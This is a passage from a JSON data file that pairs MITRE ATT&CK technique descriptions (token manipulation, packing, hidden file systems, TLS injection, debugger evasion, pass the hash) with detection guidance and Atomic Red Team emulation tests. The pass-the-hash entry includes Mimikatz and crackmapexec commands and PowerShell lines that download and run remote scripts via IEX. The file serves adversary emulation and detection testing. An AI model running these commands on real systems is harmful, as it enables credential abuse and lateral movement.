"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx", - "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017." - }, - { - "source_name": "Microsoft DuplicateTokenEx", - "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx", - "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017." - }, - { - "source_name": "Microsoft ImpersonateLoggedOnUser", - "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx", - "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017." - }, - { - "source_name": "Pentestlab Token Manipulation", - "url": "https://pentestlab.blog/2017/04/03/token-manipulation/", - "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017." - }, - { - "url": "https://capec.mitre.org/data/definitions/633.html", - "source_name": "capec", - "external_id": "CAPEC-633" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.", - "modified": "2022-05-03T02:14:43.557Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Access Token Manipulation", - "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Process: Process Metadata", - "Process: Process Creation", - "Command: Command Execution", - "Active Directory: Active Directory Object Modification", - "Process: OS API Execution", - "User Account: User Account Metadata" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_effective_permissions": [ - "SYSTEM" - ], - "x_mitre_defense_bypassed": [ - "Windows User Account Control", - "Heuristic Detection", - "System Access Controls", - "Host Forensic Analysis" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1027.002": { - "technique": { - "x_mitre_platforms": [ - "macOS", - "Windows", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Filip Kafka, ESET" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", - "created": "2020-02-05T14:17:46.686Z", - "x_mitre_version": "1.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1027.002", - "url": "https://attack.mitre.org/techniques/T1027/002" - }, - { - "source_name": "Awesome Executable Packing", - "url": "https://github.com/dhondta/awesome-executable-packing", - "description": "Alexandre D'Hondt. (n.d.). Awesome Executable Packing. Retrieved March 11, 2022." - }, - { - "source_name": "ESET FinFisher Jan 2018", - "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf", - "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019." - }, - { - "url": "https://capec.mitre.org/data/definitions/570.html", - "source_name": "capec", - "external_id": "CAPEC-570" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing) ", - "modified": "2022-04-19T02:09:27.046Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Obfuscated Files or Information: Software Packing", - "x_mitre_detection": "Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "File: File Metadata" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Heuristic detection", - "Signature-based detection" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1027.002" - }, - "atomic_tests": [] - }, - "T1564.005": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04", - "type": "attack-pattern", - "created": "2020-06-28T22:55:55.719Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1564.005", - "url": "https://attack.mitre.org/techniques/T1564/005" - }, - { - "source_name": "MalwareTech VFS Nov 2014", - "url": "https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html", - "description": "Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020." - }, - { - "url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html", - "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.", - "source_name": "FireEye Bootkits" - }, - { - "source_name": "ESET ComRAT May 2020", - "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", - "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020." - }, - { - "source_name": "Kaspersky Equation QA", - "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.", - "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf" - } - ], - "modified": "2020-06-29T15:12:11.024Z", - "name": "Hidden File System", - "description": "Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Modification", - "File: File Modification", - "Firmware: Firmware Modification" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1151": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Erye Hernandez, Palo Alto Networks" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1151", - "url": "https://attack.mitre.org/techniques/T1151" - }, - { - "external_id": "CAPEC-649", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/649.html" - }, - { - "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/", - "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.", - "source_name": "Mac Backdoors are back" - } - ], - "modified": "2020-02-10T20:49:12.897Z", - "name": "Space after Filename", - "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1055.005": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744", - "type": "attack-pattern", - "created": "2020-01-14T01:30:41.092Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.005", - "url": "https://attack.mitre.org/techniques/T1055/005" - }, - { - "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html", - "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.", - "source_name": "FireEye TLS Nov 2017" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - } - ], - "modified": "2021-10-18T12:24:54.198Z", - "name": "Thread Local Storage", - "description": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Modification", - "Process: Process Access", - "Process: OS API Execution" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application control" - ] - }, - "atomic_tests": [] - }, - "T1622": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "TruKno" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391", - "created": "2022-04-01T17:59:46.156Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1622", - "url": "https://attack.mitre.org/techniques/T1622" - }, - { - "source_name": "Checkpoint Dridex Jan 2021", - "url": "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/", - "description": "Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021." - }, - { - "source_name": "hasherezade debug", - "url": "https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf", - "description": "hasherezade. (2021, June 30). Module 3 - Understanding and countering malware's evasion and self-defence. Retrieved April 1, 2022." - }, - { - "source_name": "AlKhaser Debug", - "url": "https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug", - "description": "Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1, 2022." - }, - { - "source_name": "wardle evilquest partii", - "url": "https://objective-see.com/blog/blog_0x60.html", - "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021." - }, - { - "source_name": "ProcessHacker Github", - "url": "https://github.com/processhacker/processhacker", - "description": "ProcessHacker. (2009, October 27). Process Hacker. Retrieved April 11, 2022." - }, - { - "source_name": "vxunderground debug", - "url": "https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug", - "description": "vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)", - "modified": "2022-04-16T15:05:55.918Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Debugger Evasion", - "x_mitre_detection": "Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\n\nMonitor debugger logs for signs of abnormal and potentially malicious activity.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "discovery" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Application Log: Application Log Content", - "Process: OS API Execution", - "Command: Command Execution", - "Process: Process Creation" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1036.006": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Erye Hernandez, Palo Alto Networks" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86", - "type": "attack-pattern", - "created": "2020-02-10T20:47:10.082Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1036.006", - "url": "https://attack.mitre.org/techniques/T1036/006" - }, - { - "external_id": "CAPEC-649", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/649.html" - }, - { - "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/", - "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.", - "source_name": "Mac Backdoors are back" - } - ], - "modified": "2020-03-29T20:26:01.690Z", - "name": "Masquerading: Space after Filename", - "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Metadata" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1036.006" - }, - "atomic_tests": [] - }, - "T1550.002": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Blake Strom, Microsoft 365 Defender", - "Travis Smith, Tripwire" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", - "type": "attack-pattern", - "created": "2020-01-30T16:36:51.184Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1550.002", - "url": "https://attack.mitre.org/techniques/T1550/002" - }, - { - "external_id": "CAPEC-644", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/644.html" - }, - { - "source_name": "Stealthbits Overpass-the-Hash", - "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/", - "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021." - } - ], - "modified": "2021-08-31T19:55:02.702Z", - "name": "Use Alternate Authentication Material: Pass the Hash", - "description": "Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "lateral-movement" - } - ], - "x_mitre_detection": "Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nEvent ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Active Directory: Active Directory Credential Request", - "User Account: User Account Authentication", - "Logon Session: Logon Session Creation" - ], - "x_mitre_defense_bypassed": [ - "System Access Controls" - ], - "identifier": "T1550.002" - }, - "atomic_tests": [ - { - "name": "Mimikatz Pass the Hash", - "auto_generated_guid": "ec23cef9-27d9-46e4-a68d-6f75f7b86908", - "description": "Note: must dump hashes first\n[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "user_name": { - "description": "username", - "type": "string", - "default": "Administrator" - }, - "ntlm": { - "description": "ntlm hash", - "type": "string", - "default": "cc36cf7a8514893efccd3324464tkg1a" - }, - "domain": { - "description": "domain", - "type": "string", - "default": "%userdnsdomain%" - }, - "mimikatz_path": { - "description": "mimikatz windows executable", - "type": "path", - "default": "%tmp%\\mimikatz\\x64\\mimikatz.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n", - "prereq_command": "$mimikatz_path = cmd /c echo #{mimikatz_path}\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" - } - ], - "executor": { - "command": "#{mimikatz_path} \"sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}\"\n", - "name": "command_prompt" - } - }, - { - "name": "crackmapexec Pass the Hash", - "auto_generated_guid": "eb05b028-16c8-4ad8-adea-6f5b219da9a9", - "description": "command execute with crackmapexec\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "user_name": { - "description": "username", - "type": "string", - "default": "Administrator" - }, - "crackmapexec_exe": { - "description": "crackmapexec windows executable", - "type": "path", - "default": "C:\\CrackMapExecWin\\crackmapexec.exe" - }, - "command": { - "description": "command to execute", - "type": "string", - "default": "whoami" - }, - "ntlm": { - "description": "command", - "type": "string", - "default": "cc36cf7a8514893efccd3324464tkg1a" - }, - "domain": { - "description": "domain", - "type": "string", - "default": "%userdnsdomain%" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "CrackMapExec executor must exist on disk at specified location (#{crackmapexec_exe})\n", - "prereq_command": "if(Test-Path #{crackmapexec_exe}) {exit 0} else {exit 1}\n", - "get_prereq_command": "Write-Host Automated installer not implemented yet, please install crackmapexec manually at this location: #{crackmapexec_exe}\n" - } - ], - "executor": { - "command": "#{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command}\n", - "name": "command_prompt" - } - }, - { - "name": "Invoke-WMIExec Pass the Hash", - "auto_generated_guid": "f8757545-b00a-4e4e-8cfb-8cfb961ee713", - "description": "Use Invoke-WMIExec to Pass the Hash\nNote: must dump hashes first\n[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "ntlm": { - "description": "ntlm hash", - "type": "string", - "default": "cc36cf7a8514893efccd3324464tkg1a" - }, - "user_name": { - "description": "username", - "type": "string", - "default": "Administrator" - }, - "command": { - "description": "Command to run on target system", - "type": "string", - "default": "hostname" - }, - "target": { - "description": "System to run command on", - "type": "string", - "default": "$env:COMPUTERNAME" - } - }, - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d09560902443c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target #{target} -Username #{user_name} -Hash #{ntlm} -Command #{command}", - "name": "powershell" - } - } - ] - }, - "T1574.002": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "created": "2020-03-13T19:41:37.908Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.002", - "url": 